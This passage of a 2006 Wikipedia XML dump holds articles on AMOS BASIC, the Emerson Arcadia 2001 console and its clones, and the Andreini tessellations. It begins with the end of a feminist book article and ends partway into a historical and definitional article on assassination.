Meanwhile, she says, the &quot;feminist movement&quot;, a largely white middle and upper class affair, did not articulate the needs of poor and non-white women, thus reinforcing sexism, racism, and [[classism]]. She suggests this explains the low numbers of black women who participated in the feminist movement in the [[1970s]], pointing to [[Louis Harris]]' [[Virginia Slims]] poll done in [[1972]] for [[Phillip Morris]] that she says showed 62 percent of black women supported &quot;efforts to change women's status&quot; and 67 percent &quot;sympathized with the women's rights movement&quot;, compared with 45 and 35 percent of white women (also Steinem, 1972). &lt;!-- Please verify the quoted sections are the exact phrasing of the survey. --&gt;
[[Category:1981 books]]</text>
    </revision>
  </page>
  <page>
    <title>AMOS BASIC</title>
    <id>2957</id>
    <revision>
      <id>34010702</id>
      <timestamp>2006-01-05T19:53:25Z</timestamp>
      <contributor>
        <username>Adrian Buehlmann</username>
        <id>216352</id>
      </contributor>
      <minor />
      <comment>/* See also */ C++</comment>
      <text xml:space="preserve">'''AMOS BASIC''' is a dialect of the [[BASIC programming language|BASIC]] [[programming language]] implemented on the [[Amiga]] computer. AMOS BASIC was published by [[Europress Software]] and originally written by [[François Lionet]] with [[Constantin Sotiropoulos]]. It is a descendant of [[STOS BASIC]] for the [[Atari ST]]. AMOS BASIC was first produced in [[1990]]. 

AMOS competed on the Amiga platform with Acid Software's [[Blitz BASIC]]. Both BASICs differed from other dialects on different platforms, in that they allowed the easy creation of fairly demanding multimedia software, with full structured code and many high-level functions to load images, animations, sounds and display them in various ways.

The original AMOS version was [[interpreter (computer software)|interpreted]] which, whilst working fine, suffered from performance problems. Later, an AMOS [[compiler]] was developed, that reduced this problem.

After the original version of AMOS, Europress released two other versions: '''Easy AMOS''', a simpler version for beginners, and '''AMOS Professional''', a more advanced version with added features, such as a better [[Integrated Development Environment|IDE]], [[ARexx]] support, a new [[user interface|UI]] sublanguage and new flow control constructs. Neither of these new versions was significantly more popular than the original AMOS.

AMOS was mostly used to make [[Computer and video games|video games]] (platformers and graphical adventures) and educational software.

The language was mildly successful within the Amiga community. Its ease of use made it especially attractive to beginners.

Perhaps AMOS BASIC's biggest disadvantage was its incompatibility with the Amiga's [[AmigaOS|operating system]] functions and interfaces. Instead, AMOS BASIC controlled the computer directly, which caused programs written in it to have a non-standard user interface, and also caused compatibility problems with newer versions of the operating system.

Today the language has declined in popularity along with the Amiga computer for which it was written. Despite this, a small community of enthusiasts are still using it. The source code to AMOS has since been released under a [[BSD license|BSD style license]] by [[Clickteam]] - a company that includes the original programmer.

==See also==
*[[Alvyn BASIC]] &amp;mdash; An [[open source]] [[multiplatform]] [[BASIC (programming language)|BASIC]] [[interpreter (computing)|interpreter]] that is fully compatible with AMOS Professional. Written in [[C++]] (alpha)

==External links==
*[http://www.clickteam.com/English/amos.php Source code for AMOS and STOS (68000 ASM)]
*[http://groups.yahoo.com/group/amos-list/ The Yahoo! groups mailing list (still active)]
*[http://www.liquido2.com/ Mattathias BASIC] (68k AMOS compiler, early alpha)

[[Category:BASIC dialects]]
[[Category:Game creation software]]
[[Category:Amiga software]]

[[de:AMOS BASIC]]
[[pl:Amos (j&amp;#281;zyk programowania)]]
[[sv:AMOS (programspråk)]]</text>
    </revision>
  </page>
  <page>
    <title>Arcadia 2001</title>
    <id>2959</id>
    <revision>
      <id>37833739</id>
      <timestamp>2006-02-02T12:09:29Z</timestamp>
      <contributor>
        <username>Diceman</username>
        <id>105919</id>
      </contributor>
      <comment>category</comment>
      <text xml:space="preserve">The '''Arcadia 2001''' is a second-generation 8-bit console released by [[Emerson Radio Corporation|Emerson Radio Corp]]. It was meant to outshine the [[Atari 2600]], but came out right before the more-advanced [[Atari 5200]] and the [[ColecoVision]]. It was a failure as soon as it came to market.  The game library was composed 51 unique games and about 10 variations. The graphics were similar to those of the [[Intellivision]] and the [[Magnavox Odyssey²|Odyssey²]]. The system is considered one of the biggest game console [[flop|flops]] of all time.

The Arcadia was not named after the company of the same name. Arcadia Corporation, makers of the 2600 [[Starpath Supercharger|supercharger]], was sued by Emerson for trademark infringement.  Arcadia Corporation changed its name to [[Starpath]].

==Description==
The Arcadia was originally intended to be a portable console, one can see that it was much smaller than it's competitors at the time. The console is powered by a standard 12-volt power supply, so it could be used in a boat, or a camper, and so on. This portability feature, however, required a portable television, which was extremely rare in the early 1980s. It also has two outputs(or inputs) earphones jacks types on the back of the unit, on the far left and far right sides.

The system came with two [[Intellivision]]-style control pads, but with a lighter touch on the side 'fire' buttons. The control pads have screw holes in their centers, so that one could transform them into a joystick, a la [[Gravis Gamepad]]. Most games came with mylar overlays which could be applied to the controllers. The console itself had five buttons: power, start, reset, option, and select.

There are at least three different types of cartridge case styles and artwork, with variations on each. Emerson-family carts come in two different lengths of black plastic cases; the short style is similar to Atari 2600 carts in overall size. This family uses a unique &quot;sketch&quot; type of picture label. MPT-03 family cart cases (see below) resemble Super NES carts in size and shape, except that they are molded in brown plastic. Their labels look much more modern and stylized, with only a minimal picture on each. There are also a family of what look like pirate carts, that look nothing like the others in shape, size or label artwork. The different labeled versions however all used the same cartridges.

==Market Failure==
The console was essentially considered dead upon arrival. The system came out at the same time that much better systems came onto the market — the [[Atari 5200]] and [[ColecoVision]] — which immediately crushed sales. In addition, Atari's use of exclusive rights to many games made it very virtually impossible for Emerson to get popular games to the console.

Emerson actually created many popular arcade titles including [[Pacman]], [[Galaxian]] and [[Defender]] for the Arcadia and had them manufactured. However, Atari started to sue it's competitors for companies that it had exclusive-rights agreements and Emerson was stuck with thousands of manufactured games that could no longer be sold.

Today, only a very limited number of console collectors even bother to go after the Arcadia.

==Variants==
Unlike almost all other consoles, the Arcadia 2001 was sold from many different firms under different names:

These include:
&lt;table style=&quot;width: 500px;&quot; padding=&quot;1&quot; border=&quot;0&quot;&gt;
    &lt;tr
 style=&quot;background: rgb(255, 255, 0) none repeat scroll 0% 50%; -moz-background-clip: initial; -moz-background-origin: initial; -moz-background-inline-policy: initial;&quot;&gt;
      &lt;td style=&quot;text-align: center;&quot;&gt;'''Name'''&lt;/td&gt;
      &lt;td style=&quot;text-align: center;&quot;&gt;'''Country'''&lt;/td&gt;
      &lt;td style=&quot;text-align: center;&quot;&gt;'''Manufacturer'''&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Advision Home Arcade&lt;/td&gt;
      &lt;td style=&quot;background-color: rgb(255, 255, 204);&quot;&gt;France&lt;/td&gt;
      &lt;td&gt;Advision&lt;/td&gt;
    &lt;/tr&gt;
[[Image:Arcadia_leonardo.jpg|thumb|right|The Leonardo from Italy]]
    &lt;tr&gt;
      &lt;td&gt;Bandai Arcadia&lt;/td&gt;
      &lt;td style=&quot;background-color: rgb(255, 255, 204);&quot;&gt;Japan&lt;/td&gt;
      &lt;td&gt;[[Bandai]]&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Hanimex Fever 1&lt;/td&gt;
      &lt;td style=&quot;background-color: rgb(255, 255, 204);&quot;&gt;Germany&lt;/td&gt;
      &lt;td&gt;Hanimex&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Hanimex HMG-2650&lt;/td&gt;
      &lt;td style=&quot;background-color: rgb(255, 255, 204);&quot;&gt;Germany&lt;/td&gt;
      &lt;td&gt;Hanimex&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Hanimex MPT-03 &lt;/td&gt;
      &lt;td style=&quot;background-color: rgb(255, 255, 204);&quot;&gt;France?&lt;/td&gt;
      &lt;td&gt;Hanimex&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
[[Image:Arcadia_telefever.jpg|thumb|right|The Tele-fever from Germany]]
      &lt;td&gt;Intercord&lt;/td&gt;
      &lt;td style=&quot;background-color: rgb(255, 255, 204);&quot;&gt;Germany&lt;/td&gt;
      &lt;td&gt;???&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Leisure-Vision&lt;/td&gt;
      &lt;td style=&quot;background-color: rgb(255, 255, 204);&quot;&gt;Canada&lt;/td&gt;
      &lt;td&gt;Leisure-Dynamics&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Leonardo&lt;/td&gt;
      &lt;td style=&quot;background-color: rgb(255, 255, 204);&quot;&gt;Italy&lt;/td&gt;
      &lt;td&gt;Leonardo?&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Palladium&lt;/td&gt;
      &lt;td style=&quot;background-color: rgb(255, 255, 204);&quot;&gt;Germany&lt;/td&gt;
      &lt;td&gt;Palladium?&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Prestige MPT-03&lt;/td&gt;
      &lt;td style=&quot;background-color: rgb(255, 255, 204);&quot;&gt;France&lt;/td&gt;
      &lt;td&gt;???&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Rowntron MPT-03&lt;/td&gt;
      &lt;td style=&quot;background-color: rgb(255, 255, 204);&quot;&gt;??&lt;/td&gt;
      &lt;td&gt;Rowntron?&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Schmidt TVG-2000&lt;/td&gt;
      &lt;td style=&quot;background-color: rgb(255, 255, 204);&quot;&gt;Germany&lt;/td&gt;
      &lt;td&gt;Schmidt&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Soundic MPT-03&lt;/td&gt;
      &lt;td style=&quot;background-color: rgb(255, 255, 204);&quot;&gt;??&lt;/td&gt;
      &lt;td&gt;Soundic?&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Tele-Fever&lt;/td&gt;
      &lt;td style=&quot;background-color: rgb(255, 255, 204);&quot;&gt;Germany&lt;/td&gt;
      &lt;td&gt;???&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Tyrom&lt;/td&gt;
      &lt;td style=&quot;background-color: rgb(255, 255, 204);&quot;&gt;???&lt;/td&gt;
      &lt;td&gt;Tyrom?&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Tunix Home Arcade&lt;/td&gt;
      &lt;td style=&quot;background-color: rgb(255, 255, 204);&quot;&gt;New
Zealand&lt;/td&gt;
      &lt;td&gt;Monaco Distributors Ltd&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Video Master&lt;/td&gt;
      &lt;td style=&quot;background-color: rgb(255, 255, 204);&quot;&gt;New
Zealand&lt;/td&gt;
      &lt;td&gt;Grand Stand&lt;/td&gt;
    &lt;/tr&gt;
&lt;/table&gt;


Each console had a different number of games releaed for them; some like the Schmidt had every game released for them, others like the Tele-fever only had 4 games released. The Palladium gas a different cartridge connector/pinout, 4 extra keys per controller.

== Technical specifications ==
*Main Processor: [[Signetics 2650]] CPU running at 3.58 MHz
**Some clones run a [[Signetics]] 2650A
*RAM: 512 bytes (originally promised 28k)
*ROM: None
*Video Display: 8 Colors
*Video Controller: [[Signetics]] 2637
*Sound: Single Channel &quot;Beeper&quot;
*Hardware Sprites: 4 independent, single color
*Controllers: 2 x 2 way 
*Keypads: 2 x 12 button

==Games==
Many of the games for the '''Arcadia 2001''' are lesser-known arcade game such as ''Route 16'' and ''Jungler''. Different games were available for the various clones of the Arcadia 2001, consult the [http://www.digitpress.com/faq/arc2001.txt Arcadia FAQ] for more information. These game ROMS have been released into the [[public domain]] as [[abandonware]].

*3-D Bowling
*3-D Raceway
*3-D Soccer
*Alien Invaders
*Astro Invader [[Image:Auto_race_cartridge.jpg|right|thumb|The (North American) [[SNES]] style cartridge]]
*American Football
*Baseball
*Brain Quiz 
*Breakaway
*Capture
*Cat Trax
*Crazy Gobbler
*Crazy Climber (Unreleased)
*Escape
*Funky Fish
*[[Galaxian]]
*Grand Prix 3-D   
*Grand Slam Tennis
*Hobo
*Home Squadron
*Jump Bug [[Image:Escape_cartridge.jpg|right|thumb|An [[Intellivision]] style cartridge]]
*Jungler
*Kidou Senshi Gundamu (only in Japan)
*Math Logic
*Missile War
*Ocean Battle
*[[Pleiades]]
*RD2 Tank 
*Red Clash 
*Robot Killer (clone of [[Berzerk]])
*Route 16
*Soccer
*Space Attack     
*Space Chess
*Space Mission    
*Space Raiders    
*Space Squadron   
*Space Vultures   
*Spiders
*Star Chess
*Super Gobbler
*Tanks A Lot 
*The End
*Turtles/Turpin

==Screenshot gallery==
&lt;gallery&gt;
Image:Arcadia_baseball.gif|Baseball
Image:Arcadia_cattrax.gif|Cat Trax
Image:Arcadia_jumpbug.gif|Jump Bug
Image:Arcadia_missile_war.gif|Missile War
Image:Arcadia_robot_killer.gif|Robot Attack
Image:Arcadia_space_attack.gif|Space Attack
Image:Arcadia_space_raiders.gif|Space Raiders
Image:Arcadia_spiders.gif|Spiders
&lt;/gallery&gt;
==References==
*[http://www.gstsoftware.co.nz/ The Arcadia 2001 emulator home page]
*[http://www.classicgaming.com/museum/arcadia Arcadia 2001 @ Classic Gaming.com]
*[http://www.old-computers.com/magazine/view.asp?r=2&amp;a=8 Emerson Arcadia 2001 and Clone Systems]
*[http://homepages.ihug.co.nz/%7Epinwhiz/weird.htm Obscure Pixels: Weird UK &amp; New Zealand Consoles]
*[http://www.digitpress.com/faq/arc2001.txt Emerson Arcadia 2001 FAQ]

==External links==
*[http://www.gstsoftware.co.nz/ Download the latest Arcadia 2001 emulator from here.]
*[http://www.gstsoftware.co.nz/ Arcadia 2001 emulator]
*[http://www.thedoteaters.com/play3sta5.htm The Dot Eaters entry] on the mighty Arcadia 2001

[[Category:Second-generation video game consoles]]
[[Category:Computer and video game flops]]

[[it:Arcadia 2001]]</text>
    </revision>
  </page>
  <page>
    <title>Andreini tessellation</title>
    <id>2961</id>
    <revision>
      <id>39428256</id>
      <timestamp>2006-02-13T01:55:37Z</timestamp>
      <contributor>
        <username>Tomruen</username>
        <id>63601</id>
      </contributor>
      <minor />
      <comment>relink header/anchor change</comment>
      <text xml:space="preserve">In [[geometry]], the '''Andreini [[tessellation]]s''' are the complete set of 28 [[tessellation of space|uniform (space-filling) honeycombs of 3-space]]. They are the three dimensional equivalent to the [[List of uniform planar tilings|uniform tilings of the plane]]. They are named in honor of ''A. Andreini'' who studied and enumerated these tessellation forms around 1905. (See references below)

A uniform honeycomb is constructed by identical sets of convex uniform polyhedral cells around each vertex. Uniform cells can include the 5 [[Platonic solid|Platonic]], 13 [[Archimedean solid]]s, and infinite sets of uniform [[prism (geometry)|prisms]] and [[antiprism]]s.

The 28 tessellations can be divided into 4 groups by the existence of parallel uniform polygon-tiled planes:
# 10 are tessellations with no planar face-tilings.
# 12 are formed by stacked prisms of the 11 planar face-tilings.
# 1 has alternate planes of vertices, but only has one planar face-tiling.
# 5 have alternate planes of vertices with both planar face-tiled.

Note: See [[Uniform polychoron#Geometric derivations]] for some terminology for some of these names below.

These groups are listed largely in order of least to most polyhedra per vertex. The first group has 4 to 6 polyhedra per vertex, while the last has 12 to 14!

The listing below follows the four groups, and orders them by [n/m] where '''n''' is the number of cells per vertex, and '''m''' is the number of types of cells.
[[Image:Truncated octahedra.jpg|thumb|[[Bitruncated cubic honeycomb]]]]
* '''No face-tiling planes''' (with cubic honeycomb naming) (4 to 6 polyhedra per vertex)
*# [4/1] 4 truncated octahedra 
*#* [[Bitruncated cubic honeycomb]]
*#* Dual [[Disphenoid tetrahedral honeycomb]]
*# [4/2] 2 truncated cuboctahedra, 2 octagonal prisms 
*#* [[Omnitruncated cubic honeycomb]]
*# [4/3] 2 truncated cuboctahedra, 1 truncated octahedron, 1 cube 
*#* [[Cantitruncated cubic honeycomb]]
*# [4/3] 2 truncated cuboctahedra, 1 truncated cube, 1 truncated tetrahedron 
*#* [[Cantitruncated alternated cubic honeycomb]]
*# [5/2] 4 truncated cubes, 1 octahedron 
*#* [[Truncated cubic honeycomb]]
*# [5/3] 2 rhombicuboctahedra, 1 cuboctahedron, 2 cubes 
*#* [[Cantellated cubic honeycomb]]
*# [5/3] 3 rhombicuboctahedra, 1 tetrahedron, 1 cube 
*#* [[Runcinated alternated cubic honeycomb]]
*# [5/3] 2 truncated octahedra, 2 truncated tetrahedra, 1 cuboctahedron 
*#* [[Truncated alternated cubic honeycomb]]
*# [5/4] 1 truncated cube, 1 rhombicuboctahedron, 2 octagonal prisms, 1 cube 
*#* [[Runcitruncated cubic honeycomb]]
*# [6/2] 4 cuboctahedra, 2 octahedra 
*#* [[Rectified cubic honeycomb]]

[[Image:Cubic honeycomb.png|thumb|[[Cubic honeycomb]] lattice]]
* '''Identical faced-tiling planes''' (6 to 12 cells per vertex)
*# [6/1] 6 hexagonal prisms ([[hexagonal tiling]] planes), 
*#* [[Hexagonal prismatic honeycomb]], 
*#* dual [[Triangular prismatic honeycomb]]
*# [6/2] 4 dodecagonal prisms, 2 triangular prisms ([[Truncated hexagonal tiling|3.12.12 tiling]] planes)
*#* [[Truncated hexagonal prismatic honeycomb]]
*# [6/2] 4 octagonal prisms, 2 cubes ([[Truncated square tiling|4.8.8 tiling]] planes)
*#* [[Truncated square prismatic honeycomb]]
*# [6/3] 2 dodecagonal prisms, 2 hexagonal prisms, 2 cubes ([[Great rhombitrihexagonal tiling|4.6.12 tiling]] planes)
*#* [[Omnitruncated triangular-hexagonal prismatic honeycomb]]
*# [8/1] 8 cubes ([[square tiling]] planes)
*#* [[Cubic honeycomb]]
*#* Self-dual
*# [8/2] 4 hexagonal prisms, 4 triangular prisms, ([[Trihexagonal tiling|3.6.3.6 tiling]] planes)
*#* [[Triangular-hexagonal prismatic honeycomb]]
*# [8/3] 2 hexagonal prisms, 2 triangular prisms, 4 cubes ([[Small rhombitrihexagonal tiling|3.4.6.4 tiling]] planes)
*#* [[Rhombitriangular-hexagonal prismatic honeycomb]]
*# [10/2] 2 hexagonal prisms, 8 triangular prisms ([[Snub hexagonal tiling|3.3.3.3.6 tiling]] planes)
*#* [[Snub triangular-hexagonal prismatic honeycomb]]
*# [10/2] (I) 6 triangular prisms, 4 cubes ([[Prismatic trisquare tiling|3.3.3.4.4 tiling]] planes), 
*#* [[Elongated triangular prismatic honeycomb]]
*# [10/2] (II) 6 triangular prisms, 4 cubes, ([[Square tiling|4.4.4.4 tiling]] planes) Gyrated layers
*#* [[Gyroelongated triangular prismatic honeycomb]]
*# [10/2] 6 triangular prisms, 4 cubes ([[Snub square tiling|3.3.4.3.4 tiling]] planes)
*#* [[Snub square prismatic honeycomb]]
*# [12/1] (I) 12 triangular prisms ([[triangular tiling]] planes) 
*#* [[Triangular prismatic honeycomb]], 
*#* dual [[Hexagonal prismatic honeycomb]]

* '''Alternating planes, one face-tiled''' (8 polyhedra per vertex)
*# [8/2] 6 truncated tetrahedra, 2 tetrahedra ([[Trihexagonal tiling|3.6.3.6 tiling]] planes) 
*#* [[Bitruncated alternated cubic honeycomb]]

[[Image:Tetrahedral-octahedral honeycomb.png|thumb|Tetra-Octa honeycomb]]
* '''Alternating planes, both face-tiled''' (12 to 14 polyhedra per vertex)
*# [12/1] (II) 12 triangular prisms ([[square tiling]] planes) Gyrated layers
*#* [[Gyrated triangular prismatic honeycomb]]
*# [13/3] (I) 3 octahedra, 4 tetrahedra, 6 triangular prisms ([[triangular tiling]] planes) 
*#* [[Elongated cubic honeycomb]]
*# [13/3] (II) 3 octahedra, 4 tetrahedra, 6 triangular prisms ([[triangular tiling]] planes) Gyrated layers
*#* [[Gyroelongated cubic honeycomb]]
*# [14/2] (I) 8 tetrahedra, 6 octahedra ([[triangular tiling]] planes) 
*#* [[Tetrahedral-octahedral honeycomb]] 
*#* Dual [[Rhombic dodecahedral honeycomb]]
*# [14/2] (II) 8 tetrahedra, 6 octahedra ([[triangular tiling]] planes) Gyrated layers 
*#* [[Gyrated tetrahedral-octahedral honeycomb]] 
*#* Dual [[trapezo-rhombic dodecahedral honeycomb]]

The (I) and (II) forms have the same vertex polyhedra, but repeat differently. The (II) forms have a rotation symmetry group. 

All 28 Andreini tessellations are found in [[crystal]] arrangements.

The [[Tetrahedral-octahedral honeycomb]] is of special importance since its vertices form a cubic [[close-packing]] of spheres. The space-filling [[truss]]es of packed octahedra and tetrahedra was apparently first discovered by [[Alexander Graham Bell]] and independently re-discovered by [[Buckminster Fuller]] (who called it the [[octet truss]] and patented it in the 1940s)

[http://tabletoptelephone.com/~hopspage/Fuller.html]
[http://members.cruzio.com/~devarco/energy.htm]
[http://www.n55.dk/MANUALS/DISCUSSIONS/OTHER_TEXTS/CM_TEXT.html]
[http://www.cjfearnley.com/fuller-faq-2.html]. Octet trusses are now one of the most common type of truss used in construction.
&lt;!--
FIXME: move this discussion of octet truss to [[Buckminster Fuller]] or perhaps [[octet truss]], leaving behind a link to where it went.
--&gt;

==External links==
*[http://polyhedra.doskey.com/UniformHoneycombs.html Uniform Honeycombs in 3-Space] VRML models
*[http://metalrg.iisc.ernet.in/~lord/clusters/andreini.ppt Tiling space with regular and semiregular polyhedra] MS-PowerPoint
*[http://web.ukonline.co.uk/polyhedra/honeycombs/honeycombs.htm Elementary Honeycombs]
* [http://arxiv.org/PS_cache/math/pdf/9906/9906034.pdf Uniform partitions of 3-space, their relatives and embedding] PDF, 1999
*[http://www.mathconsult.ch/showroom/unipoly/ The Uniform Polyhedra]
*[http://www.georgehart.com/virtual-polyhedra/vp.html Virtual Reality Polyhedra] The Encyclopedia of Polyhedra

== References ==
* [[Branko Grünbaum]], Uniform tilings of 3-space. [[Geombinatorics]] 4(1994), 49 - 56.
* A. Andreini, Sulle reti di poliedri regolari e semiregolari e sulle corrispondenti reti correlative, Mem. Societa Italiana della Scienze, Ser.3, 14 (1905) 75–129.
** Italian-to-English: &quot;On the regular and semiregular nets of polyhedra and on the correspondents correlative nets, Mem. Italian Societa of Sciences&quot;

[[Category:Tiling]]</text>
    </revision>
  </page>
  <page>
    <title>Albert Gore</title>
    <id>2962</id>
    <revision>
      <id>27086272</id>
      <timestamp>2005-11-01T17:26:28Z</timestamp>
      <contributor>
        <username>Quadell</username>
        <id>57108</id>
      </contributor>
      <minor />
      <comment>#Redirect [[Albert Arnold Gore]]</comment>
      <text xml:space="preserve">#Redirect [[Albert Arnold Gore]]</text>
    </revision>
  </page>
  <page>
    <title>Assassination</title>
    <id>2963</id>
    <revision>
      <id>41355862</id>
      <timestamp>2006-02-26T20:43:59Z</timestamp>
      <contributor>
        <username>Palm dogg</username>
        <id>95017</id>
      </contributor>
      <comment>Image changes</comment>
      <text xml:space="preserve">{{cleanup-date|January 2006}}
{{redirect|Assassin}}
[[Image:Oswald shot by Ruby (Pulitzer).jpg|right|250px|thumbnail|[[Jack Ruby]] murdered [[Lee Harvey Oswald]], the alleged assassin of U.S. President [[John F. Kennedy]], in a very public manner.]]

In its most common use, '''assassination''' has come to mean the [[murder]] of an important person. An assassin — one who carries out the assassination — is usually [[ideology|ideologically]]- or [[politics|politically]]-motivated. Other motivations may be [[money]] in the case of a [[contract killing]]; opposition to a person's [[belief]]s or belief systems in the case of a [[fanatic]]; orders from a [[government]] that are often carried about by a subversive agent such as a [[secret agent|spy]]; or [[loyalty]] to a competing leader or group. Assassination, like companion terms such as [[terrorism]] and [[freedom fighter]], is often considered to be a [[loaded (language)|loaded term]]. However, while few call themselves terrorists, most assassins appear comfortable enough with their deed to describe it as such publicly. ''Targeted killing'' is sometimes preferred by governments, naming a controversial strategy whereby anticipated acts of [[terrorism]] are prevented by assassinating a person deemed to be related to those acts. According to ''The [[American Heritage Dictionary]]'', &quot;To [[murder]] (a prominent person) by surprise attack, as for political reasons.&quot;[http://dictionary.reference.com/search?q=assassination]

==Etymology==
The term ''Assassin'' originally referred to a Muslim [[Order (religious)|order]] known as the [[Hashshashin]]. According to one derivation, the word means &quot;those who use [[hashish]]&quot; ([[cannabis]] resin) in Arabic because, according to Crusader histories, that group used to ingest hashish before carrying out military or assassination operations, in order to be fearless. The group, known as the Nizari [[Ismaili]]s, was a [[Shi'a Islam|Shia]] order who believed in the notion of the hazir [[imam]] and was organized as a secret underground political order, which infiltrated areas under the control of [[Seljuk Turks]]. In 1090 the sect captured a castle called [[Alamut]] in the mountains of Northern [[Iran]].  This sect was said to carry out assassinations of the enemies of the order, or Muslim rulers they believed to be [[piety|impious]]. The earliest known record of the word in [[English language|English]] dates back to 1603, referring to this sect rather than its more general modern sense. Similar words had earlier appeared in [[French language|French]] and [[Italian language|Italian]].

However, according to another derivation, the word Hashshashin derives from the  Arabic word hassas, from the root hassa, meaning &quot;to shoot&quot;.

Another version says that the word Hashshashin has the meaning of followers of Hassan, who would have been the order's first leader and founder.

[[Benjamin of Tudela]] provided the first western account of the sect. [[Marco Polo]]'s elaborate account is probably fictionalized in part. He said that recruits were promised [[heaven|Paradise]] in return for dying in action. They were drugged, often with materials such as [[hashish]] (although some suggest [[opium]] and [[wine]] instead, despite all three drugs being condemned by Islamic religious authorities and interpretations of the time) then spirited away to a garden stocked with attractive and compliant women and fountains of wine. At this time, they were awakened and it was explained to them that such was their reward for the deed, convincing them that their leader, [[Hassan-i-Sabah]], could open the gates to Paradise. The name ''assassin'' is derived from either ''hasishin'' for the supposed influence of their attacks and disregard for their own lives in the process, or ''hassansin'' for their leader. All this history, however, is tenuous, as it relies entirely on crusader-authored histories which have been traditionally very unreliable for information about native cultures.

Nowadays it is known that &quot;hashishinnya&quot; was an offensive term used to depict this cult by its Muslim and Mongolian detractors; the extreme zeal of Nizarites and the very cold preparation to murder makes it very unlikely they ever used drugs, while there is evidence that one of the first of Hassan's sons was sentenced to death by his father only for drinking a little wine. Moreover, despite many unlikely legends, they usually died along with their target (a tale tells of a mother being sad knowing her son survived a &quot;mission&quot;). As far as known they only used daggers (no other weapons, poison or whatever fictional records make them use) and it seems that they killed only five westerners during the time of the Crusades.
&lt;!-- Unsourced image removed: [[Image:Link.assassination.attempt.jpg|right|250px|thumbnail|An attempt was made to assassinate [[Pope John Paul II]] in 1981. He was shot and injured, and thereafter appeared in public in a custom-built &quot;[[Popemobile]]&quot; featuring [[bulletproof glass]].]] --&gt;

==Definition problems==
[[Image:King Alexander murdered on 9 oktober 1934.jpg|thumb|250px|Assassination of [[Alexander I of Yugoslavia]] ]]
Unlike some topics, notably terrorism, wherein there is a substantial [[grey area]] and often bitter controversy between which specific instances qualify or even what standards should be used, the &quot;[[common sense]]&quot; classification of assassination stated at the outset of this article seems to stand with few objections. However, this does open larger issues concerning interpretation, notably regarding attempted killings by those with other motives — is it an assassination simply if the person is a major leader or public figure espousing a cause, or only if the assassin's reason for the attack is due to that person's status as a figurehead for a particular issue?

Notable instances in which this definitive problem might come into effect include the attempt on the life of [[United States President]] [[Ronald Reagan]] by [[John Hinckley]], who was determined subsequently to have serious psychological problems and publicly stated his intent was to get the attention of actress [[Jodie Foster]] rather than make any political statement. The killing of former [[The Beatles|Beatle]] [[John Lennon]] would raise the same problem — despite Lennon's outspokenness on many liberal political issues, his killer does not seem to have been more than an unstable [[Fan (aficionado)|fan]]. The use of the term &quot;assassination&quot; to describe Lennon's murder is a matter of some additional debate, since Lennon was primarily an entertainer, not a political figure, and it could be argued that describing his killing as an assassination is no more appropriate than, for example, using the term to describe the murders of singers [[Selena Quintanilla]] or [[Marvin Gaye]]. In another example, although [[conspiracy theory|conspiracy theorists]] suggest the apparent suicide of [[Marilyn Monroe]] might have been a politically motivated murder, the term &quot;assassination&quot; is rarely, if ever, used in this context. The attempt on the life of President [[Gerald Ford]] by a member of [[Charles Manson]]'s [[cult]] could be the same; while it might perhaps be considered part and parcel of the anti-government, neo-fascist ideology to which Manson and his group adhered, [[Lynette Fromme|Lynette &quot;Squeaky&quot; Fromme]], the assassin, was not widely considered legally competent in her judgment at the time (although she was later tried and convicted). Should these cases be classified as attempted assassinations? The issue is further complicated by the fact that while Lennon was likely as outspoken politically as Reagan and Ford, and certainly as famous, Reagan and Ford were elected officials at the time, possibly requiring different criteria for Lennon's case.

One can take one of three positions (note that this consideration is of necessity strictly based upon language, not law): that the killing of someone ''only for political, moral, or ideological reasons'' constitutes an assassination (hence neither Reagan nor Lennon were the victims of assassins' attacks, while Ford was), that the killing of someone ''serving in politics or public office'' counts (thus Reagan's and Ford's attackers were would-be assassins, while Lennon's killer was not), or that anyone ''with a significant level of political involvement'' would be an assassination victim in the event of their murder (in which case all three instances would be assassinations or attempts).

While it must be acknowledged that attempting to read a person's thoughts is both imperfect and somewhat antithetical to the nature of such an issue, for the purposes of this article, the first, most conservative definition is taken. Although it is likely that the second is the most popular, the first is technically the most correct, and the third is generally considered to be too general in application. Therefore, all assassinations or attempts mentioned in the article will strictly follow the guidelines outlined at the outset to prevent confusion.

== Assassinations in history ==

==== Ancient history ====

Some would argue that assassination is one of the oldest tools of [[power politics]], dating back to the earliest governments of the world.

Towards the end of the [[Warring States Period]] (3rd century BC) in China, the state [[Qin]] rose to hegemony over other states. The Prince of the state Yan felt the threat and sought to remove the Qin king (later [[Qin Shi Huang]]) and sent [[Jing Ke]] for the mission. The assassination attempt was foiled and Jing Ke was killed on the spot.

[[Philip II of Macedon]], the father of [[Alexander the Great]], can be viewed as a victim of assassination. It is a fact, however, that by the fall of the Roman Republic assassination had become a commonly-accepted tool towards the end not only of improving one's own position, but to influence policy — the killing of Gaius [[Julius Caesar]] being a notable example, though many [[Emperors of Rome|Emperors]] met such an end. In whatever case, there seems to have not been a good deal of moral indignation at the practice amongst the political circles of the time, save, naturally, by the affected.

